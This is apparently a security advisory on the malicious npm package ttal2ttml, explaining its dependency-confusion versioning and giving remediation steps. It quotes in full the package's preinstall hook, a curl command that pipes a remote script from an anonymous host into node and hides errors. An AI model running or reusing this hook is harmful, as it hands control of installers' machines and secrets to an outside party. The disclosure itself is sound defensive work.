ttal2ttml@1.0.4

package.json declares a preinstall lifecycle script that runs `node -e "try{require('child_process').execSync('curl -sf https://d1ugk469z93e.0ac.io/callback.js | node',{stdio:'ignore'})}catch(e){}"`. On every `npm install`, the package fetches an unpinned JavaScript payload from the anonymous subdomain d1ugk469z93e.0ac.io and pipes it into `node`, executing whatever bytes the host returns under the installer's user account. Errors are swallowed via try/catch and stdio:'ignore' to hide failures. The destination is not the publisher's domain and the package's nominal purpose (TTML conversion) requires no network access. The package is also published at an artificially elevated version (99.0.3) with an empty index.js that self-describes as a dependency-confusion research PoC — the canonical shape used to win resolution against a private internal package of the same name. Regardless of stated intent, the remote-exec payload runs on every installer. ## Source: ghsa-malware (922d733034217a0e55c6ba738576d74dd1d63321437e8e19b63eaa67edc2067a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.